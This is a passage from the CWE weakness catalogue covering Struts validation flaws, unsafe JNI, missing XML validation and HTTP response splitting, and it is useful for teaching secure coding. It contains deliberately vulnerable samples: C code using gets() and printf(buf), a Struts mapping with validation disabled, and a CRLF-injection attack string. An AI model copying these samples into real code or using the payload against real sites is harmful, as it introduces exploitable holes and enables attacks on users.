Although the validate method is implemented in this example the method does not call the validate method of the ValidatorForm parent class with a call `super.validate()`. Without the call to the parent validator class only the custom validation will be performed and the default validation will not be performed. The following example shows that the validate method of the ValidatorForm class is called within the implementation of the validate method.

Example Language: Java

(good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm { // private variables for
registration formprivate String name;private String email;... public RegistrationForm() {super();} public ActionErrors
validate(ActionMapping mapping, HttpServletRequest request) {ActionErrors errors = super.validate(mapping, request);if
(errors == null) {errors = new ActionErrors();} if (getName() == null || getName().length() < 1) {errors.add("name", new
ActionMessage("error.name.required"));}return errors; } // getter and setter methods for private variables... }
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1562
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1640

## Notes

### Relationship

This could introduce other weaknesses related to missing input validation.

### Maintenance

The current description implies a loose composite of two separate weaknesses, so this node might need to be split or converted into a low-level category.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Erroneous validate() Method
Software Fault Patterns	SFP24		Tainted input to command

## CWE-104: Struts: Form Bean Does Not Extend Validation Class

Weakness ID : 104

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

If a form bean does not extend an ActionForm subclass of the Validator framework, it can expose the application to other weaknesses related to insufficient input validation.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1079

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

## Background Details

In order to use the Struts Validator, a form must extend one of the following: ValidatorForm, ValidatorActionForm, DynaValidatorActionForm, and DynaValidatorForm. You must extend one of these classes because the Struts Validator ties in to your application by implementing the validate() method in these classes. Forms derived from the ActionForm and DynaActionForm classes cannot use the Struts Validator.

## Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<i>Bypassing the validation framework for a form exposes the application to numerous types of attacks. Unchecked input is an important component of vulnerabilities like cross-site scripting, process control, and SQL injection.</i>	
Confidentiality Integrity Availability Other	Other	
	<i>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</i>	

## Potential Mitigations

**Phase: Implementation**

Ensure that all forms extend one of the Validation Classes.

## Demonstrative Examples

**Example 1:**

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user information from a registration webpage for an online business site. The

user will enter registration data and through the Struts framework the RegistrationForm bean will maintain the user data.

Example Language: Java

(bad)

```
public class RegistrationForm extends org.apache.struts.action.ActionForm { // private variables for registration form
private String name;private String email;... public RegistrationForm() {super();} // getter and setter methods for private variables... }
```

However, the RegistrationForm class extends the Struts ActionForm class which does not allow the RegistrationForm class to use the Struts validator capabilities. When using the Struts framework to maintain user data in an ActionForm Bean, the class should always extend one of the validator classes, ValidatorForm, ValidatorActionForm, DynaValidatorForm or DynaValidatorActionForm. These validator classes provide default validation and the validate method for custom validation for the Bean object to use for validating input data. The following Java example shows the RegistrationForm class extending the ValidatorForm class and implementing the validate method for validating input data.

Example Language: Java

(good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm { // private variables for
registration formprivate String name;private String email;... public RegistrationForm() {super();} public ActionErrors
validate(ActionMapping mapping, HttpServletRequest request) {...} // getter and setter methods for private variables... }
```

Note that the ValidatorForm class itself extends the ActionForm class within the Struts framework API.

### MemberOf Relationships

## CWE-105: Struts: Form Field Without Validator

Weakness ID : 105

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

The application has a form field that is not validated by a corresponding validation form, which can introduce other weaknesses related to insufficient input validation.

### Extended Description

Omitting validation for even a single input field may give attackers the leeway they need to compromise the application. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	
Integrity	Bypass Protection Mechanism	
	<i>If unused fields are not validated, shared business logic in an action may allow attackers to bypass the validation checks that are performed for other uses of the form.</i>	

## Potential Mitigations

### Phase: Implementation

Ensure that you validate all form fields. If a field is unused, it is still important to constrain it so that it is empty or undefined.

## Demonstrative Examples

### Example 1:

In the following example the Java class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

*Example Language:*

*(result)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm { // private variables for registration form
private String name;private String address;private String city;private String state;private String zipcode;private String
phone;private String email; public RegistrationForm() {super();} // getter and setter methods for private variables ... }
```

The validator XML file, validator.xml, provides the validation for the form fields of the RegistrationForm.

Example Language: XML

(bad)

```
<form-validation><formset><form name="RegistrationForm"><field property="name" depends="required"><arg position="0"
key="prompt.name"/></field><field property="address" depends="required"><arg position="0" key="prompt.address"/
></field><field property="city" depends="required"><arg position="0" key="prompt.city"/></field><field property="state"
depends="required,mask"><arg position="0" key="prompt.state"/><var><var-name>mask</var-name><var-value>[a-zA-Z]
{2}</var-value></var></field><field property="zipcode" depends="required,mask"><arg position="0" key="prompt.zipcode"/
><var><var-name>mask</var-name><var-value>\d{5}</var-value></var></field></form></formset></form-validation>
```

However, in the previous example the validator XML file, validator.xml, does not provide validators for all of the form fields in the RegistrationForm. Validator forms are only provided for the first five of the seven form fields. The validator XML file should contain validator forms for all of the form fields for a Struts ActionForm bean. The following validator.xml file for the RegistrationForm class contains validator forms for all of the form fields.

Example Language: XML

(good)

```
<form-validation><formset><form name="RegistrationForm"><field property="name" depends="required"><arg position="0"
key="prompt.name"/></field><field property="address" depends="required"><arg position="0" key="prompt.address"/
></field><field property="city" depends="required"><arg position="0" key="prompt.city"/></field><field property="state"
depends="required,mask"><arg position="0" key="prompt.state"/><var><var-name>mask</var-name><var-value>[a-zA-Z]
{2}</var-value></var></field><field property="zipcode" depends="required,mask"><arg position="0" key="prompt.zipcode"/
><var><var-name>mask</var-name><var-value>\d{5}</var-value></var></field><field property="phone"
depends="required,mask"><arg position="0" key="prompt.phone"/><var><var-name>mask</var-name><var-value>^[([0-9]
{3})-([0-9]{4})[0-9]{4})$</var-value></var></field><field property="email" depends="required,email"><arg position="0"
key="prompt.email"/></field></form></formset></form-validation>
```

## CWE-106: Struts: Plug-in Framework not in Use

Weakness ID : 106

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.

### Extended Description

Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Scope	Impact	Likelihood
Integrity	Unexpected State	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Input Validation*

Use an input validation framework such as Struts.

#### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use an input validation framework such as Struts.

#### Phase: Implementation

*Strategy = Input Validation*

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in your configuration of the Struts Validator. Example uses of the validator include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

#### Phase: Implementation

*Strategy = Libraries or Frameworks*

Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in your configuration of the Struts Validator. Example uses of the validator include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

### Demonstrative Examples

#### Example 1:

In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.

Example Language: Java

(bad)

```
public class RegistrationForm extends org.apache.struts.action.ActionForm { // private variables for registration form private
String name;private String email;... public RegistrationForm() {super();} // getter and setter methods for private variables ... }
```

However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.

Example Language: Java

(good)

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm { // private variables for registration form
private String name;private String email;... public RegistrationForm() {super();} public ActionErrors validate(ActionMapping
mapping, HttpServletRequest request) {...} // getter and setter methods for private variables ... }
```

The plug-in tag of the Struts configuration XML file includes the name of the validator plug-in to be used and includes a set-property tag to instruct the application to use the file, validator-rules.xml, for default validation rules and the file, validation.XML, for custom validation.

Example Language: XML

(good)

```
<struts-config> <form-beans><form-bean name="RegistrationForm" type="RegistrationForm"/></form-beans> ...
<!-- ===== Validator plugin ===== --><plug-in
className="org.apache.struts.validator.ValidatorPlugIn"><set-propertyproperty="pathnames"value="/WEB-INF/validator-
rules.xml,/WEB-INF/validation.xml"/> </plug-in> </struts-config>
```

## CWE-107: Struts: Unused Validation Form

<b>Weakness ID</b> : 107	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

An unused validation form indicates that validation logic is not up-to-date.

### Extended Description

It is easy for developers to forget to update validation logic when they remove or rename action form mappings. One indication that validation logic is not being properly maintained is the presence of an unused validation form.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		710	Improper Adherence to Coding Standards	1280

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

## Weakness Ordinalities

**Resultant :**

## Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Potential Mitigations

**Phase: Implementation**

Remove the unused Validation Form from the validation.xml file.

## Demonstrative Examples

**Example 1:**

In the following example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data in the form fields using the private member variables. The RegistrationForm class uses the Struts validation capability by extending the ValidatorForm class and including the validation for the form fields within the validator XML file, validator.xml.

*Example Language: Java*

*(bad)*

```
public class RegistrationForm extends org.apache.struts.validator.ValidatorForm { // private variables for registration form
private String name;private String address;private String city;private String state;private String zipcode; // no longer using
the phone form field // private String phone; private String email; public RegistrationForm() {super();} // getter and setter
methods for private variables ... }
```

*Example Language: XML*

*(bad)*

```
<form-validation> <formset> <form name="RegistrationForm"> <field property="name" depends="required"><arg
position="0" key="prompt.name"/></field><field property="address" depends="required"><arg position="0"
key="prompt.address"/></field><field property="city" depends="required"><arg position="0" key="prompt.city"/></
```

```
field><field property="state" depends="required,mask"><arg position="0" key="prompt.state"/><var><var-name>mask</var-name><var-value>[a-zA-Z]{2}</var-value></var></field><field property="zipcode" depends="required,mask"><arg position="0" key="prompt.zipcode"/><var><var-name>mask</var-name><var-value>\d{5}</var-value></var></field><field property="phone" depends="required,mask"><arg position="0" key="prompt.phone"/><var><var-name>mask</var-name><var-value>^([0-9]{3})-([0-9]{4})[0-9]{4}$</var-value></var></field><field property="email" depends="required,email"><arg position="0" key="prompt.email"/></field> </form> </formset> </form-validation>
```

However, the validator XML file, validator.xml, for the RegistrationForm class includes the validation form for the user input form field "phone" that is no longer used by the input form and the RegistrationForm class. Any validation forms that are no longer required should be removed from the validator XML file, validator.xml.

The existence of unused forms may be an indication to attackers that this code is out of date or poorly maintained.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Unused Validation Form

## CWE-108: Struts: Unvalidated Action Form

<b>Weakness ID</b> : 108	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Variant	

### Description

Every Action Form must have a corresponding validation form.

### Extended Description

If a Struts Action Form Mapping specifies a form, it must have a validation form defined under the Struts Validator.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<i>If an action form mapping does not have a validation form defined, it may be vulnerable to a number of attacks that rely on unchecked input. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.</i>	
Confidentiality Integrity Availability Other	Other	
	<i>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</i>	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Map every Action Form to a corresponding validation form. An action or a form may perform validation in other ways, but the Struts Validator provides an excellent way to verify that all input receives at least a basic level of validation. Without this approach, it is difficult, and often impossible, to establish with a high level of confidence that all input is validated.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Struts: Unvalidated Action Form
Software Fault Patterns	SFP24		Tainted input to command

## CWE-109: Struts: Validator Turned Off

<b>Weakness ID :</b> 109	<b>Status:</b> Draft
<b>Structure :</b> Simple	
<b>Abstraction :</b> Variant	

## Description

Automatic filtering via a Struts bean has been turned off, which disables the Struts Validator and custom validation logic. This exposes the application to other weaknesses related to insufficient input validation.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Java (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

## Potential Mitigations

**Phase: Implementation**

Ensure that an action form mapping enables validation. Set the validate field to true.

## Demonstrative Examples

**Example 1:**

This mapping defines an action for a download form:

*Example Language: XML*

*(bad)*

```
<action path="/
download" type="com.website.d2.action.DownloadAction" name="downloadForm" scope="request" input=".download" validate="false"></
action>
```

This mapping has disabled validation. Disabling validation exposes this action to numerous types of attacks.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1562

Nature	Type	ID	Name	V	Page
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	1640

## Notes

### Other

The Action Form mapping in the demonstrative example disables the form's validate() method. The Struts bean: write tag automatically encodes special HTML characters, replacing a < with "&lt;" and a > with "&gt;". This action can be disabled by specifying filter="false" as an attribute of the tag to disable specified JSP pages. However, being disabled makes these pages susceptible to cross-site scripting attacks. An attacker may be able to insert malicious scripts as user input to write to these JSP pages.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name

Software Fault Patterns	SFP24		Tainted input to command

## CWE-110: Struts: Validator Without Form Field

Weakness ID : 110

Status: Draft

Structure : Simple

Abstraction : Variant

### Description

Validation fields that do not appear in forms they are associated with indicate that the validation logic is out of date.

### Extended Description

It is easy for developers to forget to update validation logic when they make changes to an ActionForm class. One indication that validation logic is not being properly maintained is inconsistencies between the action form and the validation form. Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other	
	<p><i>It is critically important that validation logic be maintained and kept in sync with the rest of the application. Unchecked input is the root cause of some of today's worst and most common software security problems. Cross-site scripting, SQL injection, and process control vulnerabilities all stem from incomplete or absent input validation.</i></p>	

### Detection Methods

#### Automated Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

*Effectiveness = Moderate*

#### Manual Static Analysis

To find the issue in the implementation, manual checks or automated static analysis could be applied to the XML configuration files.

*Effectiveness = Moderate*

### Demonstrative Examples

#### Example 1:

This example shows an inconsistency between an action form and a validation form. with a third field.

This first block of code shows an action form that has two fields, startDate and endDate.

*Example Language: Java*

*(bad)*

```
public class DateRangeForm extends ValidatorForm { String startDate, endDate; public void setStartDate(String startDate) {this.startDate = startDate;} public void setEndDate(String endDate) {this.endDate = endDate;} }
```

This second block of related code shows a validation form with a third field: scale. The presence of the third field suggests that DateRangeForm was modified without taking validation into account.

*Example Language: XML*

*(bad)*

```
<form name="DateRangeForm"><field property="startDate" depends="date"><arg0 key="start.date"/></field><field property="endDate" depends="date"><arg0 key="end.date"/></field><field property="scale" depends="integer"><arg0 key="range.scale"/></field></form>
```

## CWE-111: Direct Use of Unsafe JNI

**Weakness ID :** 111

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

When a Java application uses the Java Native Interface (JNI) to call code written in another programming language, it can expose the application to weaknesses in that code, even if those weaknesses cannot occur in Java.

### Extended Description

Many safety features that programmers may take for granted simply do not apply for native code, so you must carefully review all such code for potential problems. The languages used to implement native code may be more susceptible to buffer overflows and other attacks. Native code is unprotected by the security features enforced by the runtime environment, such as strong typing and array bounds checking.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		695	Use of Low-Level Functionality	1263

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Java (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

**Phase: Implementation**

Implement error handling around the JNI call.

**Phase: Implementation**

*Strategy = Refactoring*

Do not use JNI calls if you don't trust the native library.

### Phase: Implementation

*Strategy = Refactoring*

Be reluctant to use JNI calls. A Java API equivalent may exist.

## Demonstrative Examples

### Example 1:

The following code defines a class named Echo. The class declares one native method (defined below), which uses C to echo commands entered on the console back to the user. The following C code defines the native method implemented in the Echo class:

*Example Language: Java*

*(bad)*

```
class Echo { public native void runEcho();static { System.loadLibrary("echo"); }public static void main(String[] args) { new Echo().runEcho(); } }
```

*Example Language: C*

*(bad)*

```
#include <jni.h>#include "Echo.h"//the java class above compiled with javah#include <stdio.h> JNIEXPORT void JNICALLJava_Echo_runEcho(JNIEnv *env, jobject obj){char buf[64];gets(buf);printf(buf);}
```

Because the example is implemented in Java, it may appear that it is immune to memory issues like buffer overflow vulnerabilities. Although Java does do a good job of making memory operations safe, this protection does not extend to vulnerabilities occurring in source code written in other languages that are accessed using the Java Native Interface. Despite the memory protections offered in Java, the C code in this example is vulnerable to a buffer overflow because it makes use of `gets()`, which does not check the length of its input.

The Sun Java(TM) Tutorial provides the following description of JNI [See Reference]: The JNI framework lets your native method utilize Java objects in the same way that Java code uses these objects. A native method can create Java objects, including arrays and strings, and then inspect and use these objects to perform its tasks. A native method can also inspect and use objects created by Java application code. A native method can even update Java objects that it created or that were passed to it, and these updated objects are available to the Java application. Thus, both the native language side and the Java side of an application can create, update, and access Java objects and then share these objects between them.

The vulnerability in the example above could easily be detected through a source code audit of the native method implementation. This may not be practical or possible depending on the availability of the C source code and the way the project is built, but in many cases it may suffice. However, the ability to share objects between Java and native methods expands the potential risk to much more insidious cases where improper data handling in Java may lead to unexpected vulnerabilities in native code or unsafe operations in native code corrupt data structures in Java. Vulnerabilities in native code accessed through a Java application are typically exploited in the same manner as they are in applications written in the native language. The only challenge to such an attack is for the attacker to identify that the Java application uses native code to perform certain operations. This can be accomplished in a variety of ways, including identifying specific behaviors that are often implemented with native code or by exploiting a system information exposure in the Java application that reveals its use of JNI [See Reference].

## MemberOf Relationships

## CWE-112: Missing XML Validation

<b>Weakness ID</b> : 112	<b>Status</b> : Draft
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software accepts XML from an untrusted source but does not validate the XML against the proper schema.

### Extended Description

Most successful attacks begin with a violation of the programmer's assumptions. By accepting an XML document without validating it against a DTD or XML schema, the programmer leaves a door open for attackers to provide unexpected, unreasonable, or malicious input.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Input Validation*

Always validate XML input against a known XML Schema or DTD. It is not possible for an XML parser to validate all aspects of a document's content because a parser cannot understand the complete semantics of the data. However, a parser can do a complete and thorough job of checking the document's structure and therefore guarantee to the code that processes the document that the content is well-formed.

## Demonstrative Examples

### Example 1:

The following code loads and parses an XML file.

*Example Language: Java*

*(bad)*

```
// Read DOM try {...DocumentBuilderFactory factory =
DocumentBuilderFactory.newInstance();factory.setValidating( false );...c_dom =
factory.newDocumentBuilder().parse( xmlFile );} catch(Exception ex) {...}
```

The XML file is loaded without validating it against a known XML Schema or DTD.

### Example 2:

The following code creates a DocumentBuilder object to be used in building an XML document.

*Example Language: Java*

*(bad)*

```
DocumentBuilderFactory builderFactory =
DocumentBuilderFactory.newInstance();builderFactory.setNamespaceAware(true);DocumentBuilder builder =
builderFactory.newDocumentBuilder();
```

The DocumentBuilder object does not validate an XML document against a schema, making it possible to create an invalid XML document.

## MemberOf Relationships

## CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Weakness ID : 113

Status: Incomplete

Structure : Simple

Abstraction : Base

### Description

The software receives data from an upstream component, but does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

### Extended Description

Including unvalidated data in an HTTP header allows an attacker to specify the entirety of the HTTP response rendered by the browser. When an HTTP request contains unexpected CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n) characters the server may respond with an output stream that is interpreted as two different HTTP responses (instead of one). An attacker can control the second response and mount attacks such as cross-site scripting and cache poisoning attacks. HTTP response splitting weaknesses may be present when: Data enters a web application through an untrusted source, most frequently an HTTP request. The data is included in an HTTP response header sent to a web user without being validated for malicious characters.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

MemberOf		442	Web Problems	1553

*Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)*

Nature	Type	ID	Name	Page
ChildOf		20	Improper Input Validation	17

### Applicable Platforms

Language : Language-Independent (Prevalence = Undetermined)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Access Control	Gain Privileges or Assume Identity	
<p><i>CR and LF characters in an HTTP header may give attackers control of the remaining headers and body of the response the application intends to send, as well as allowing them to create additional responses entirely under their control.</i></p>		

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Construct HTTP headers very carefully, avoiding the use of non-validated input data.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### Phase: Implementation

*Strategy = Output Encoding*

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

### Phase: Implementation

*Strategy = Input Validation*

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

## Demonstrative Examples

### Example 1:

**CWE Version 3.1****CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')**

The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.

*Example Language: Java*

*(bad)*

```
String author = request.getParameter(AUTHOR_PARAM);...Cookie cookie = new Cookie("author",
author);cookie.setMaxAge(cookieExpiration);response.addCookie(cookie);
```

Assuming a string consisting of standard alpha-numeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:

*Example Language:*

*(result)*

```
HTTP/1.1 200 OK...Set-Cookie: author=Jane Smith...
```

However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR\_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as

*Example Language:*

*(attack)*

```
Wiley Hacker\r\nHTTP/1.1 200 OK\r\n
```

then the HTTP response would be split into two responses of the following form:

*Example Language:*

*(result)*

```
HTTP/1.1 200 OK...Set-Cookie: author=Wiley Hacker HTTP/1.1 200 OK...
```

